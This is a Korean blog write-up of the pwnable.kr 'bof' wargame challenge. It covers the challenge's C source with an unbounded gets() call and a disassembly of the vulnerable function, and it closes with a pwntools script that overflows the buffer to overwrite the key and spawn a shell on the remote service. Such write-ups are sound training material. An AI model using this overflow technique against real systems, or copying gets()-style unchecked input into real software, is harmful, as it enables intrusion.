본문 바로가기
Write Up/pwnable.kr

bof - pwnable.kr

by p6rkdoye0n 2023. 7. 3.

 

pwnable.kr의 bof 문제이다. 

 

bof 문제는 전의 문제들과는 다르게 바이너리와 소스코드를 주는 형태였다(이게 정상이지 ㅎㅎ). 그렇다면 문제 코드를 살펴보도록 하겠다.

 

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

 

문제 제목도 그렇고 형태도 그렇고 bof를 일으켜서 key 값을 변조하라는 문제라는게 눈에 한번에 들어왔다. 그렇다면 디버깅을 해보면서 key값이 어디에 위치하는지 알아보도록 하겠다.

 

   0x5655562c <+0>:     push   ebp
   0x5655562d <+1>:     mov    ebp,esp
   0x5655562f <+3>:     sub    esp,0x48
   0x56555632 <+6>:     mov    eax,gs:0x14
   0x56555638 <+12>:    mov    DWORD PTR [ebp-0xc],eax
   0x5655563b <+15>:    xor    eax,eax
   0x5655563d <+17>:    mov    DWORD PTR [esp],0x5655578c
   0x56555644 <+24>:    call   0xf7df6260 <__GI__IO_puts>
   0x56555649 <+29>:    lea    eax,[ebp-0x2c]
   0x5655564c <+32>:    mov    DWORD PTR [esp],eax
   0x5655564f <+35>:    call   0xf7df58b0 <_IO_gets>
   0x56555654 <+40>:    cmp    DWORD PTR [ebp+0x8],0xcafebabe
   0x5655565b <+47>:    jne    0x5655566b <func+63>
   0x5655565d <+49>:    mov    DWORD PTR [esp],0x5655579b
   0x56555664 <+56>:    call   0xf7dcb150 <__libc_system>
   0x56555669 <+61>:    jmp    0x56555677 <func+75>
   0x5655566b <+63>:    mov    DWORD PTR [esp],0x565557a3
   0x56555672 <+70>:    call   0xf7df6260 <__GI__IO_puts>
   0x56555677 <+75>:    mov    eax,DWORD PTR [ebp-0xc]
   0x5655567a <+78>:    xor    eax,DWORD PTR gs:0x14
   0x56555681 <+85>:    je     0x56555688 <func+92>
   0x56555683 <+87>:    call   0xf7eb6930 <__stack_chk_fail>
   0x56555688 <+92>:    leave
   0x56555689 <+93>:    ret

 

위는 func 함수를 디스어셈블한 코드이다. 보면 key 값의 위치는 ebp+8의 위치에 있어서 ebp+8의 위치에 있는 값과 0xcafebabe와 비교한다는 것을 알 수 있었다. gets 함수를 통해서 버퍼에 값을 받을 때 버퍼의 위치는 ebp-0x2c이므로 더미 값을 0x2c + 0x8만큼을 채운 뒤에 리들엔디언 방식으로 0xcafebabe를 넣어주면 쉘을 획득할 수 있다. 

 

아래는 위의 내용을 반영한 최종 익스플로잇 코드이다.

 

from pwn import *

#p = process("./bof")
p = remote("pwnable.kr", 9000)
e = ELF("./bof")

#context.log_level = 'debug'
#gdb.attach(p)

payload = b'a'*0x2c
payload += b'A'*8
payload += b'\xbe\xba\xfe\xca'

p.send(payload)

p.interactive()

 

 

위의 코드를 실행하면 flag를 얻을 수 있다.

'Write Up > pwnable.kr' 카테고리의 다른 글

collision - pwnable.kr  (1) 2023.07.03
fd - pwnable.kr  (0) 2023.07.03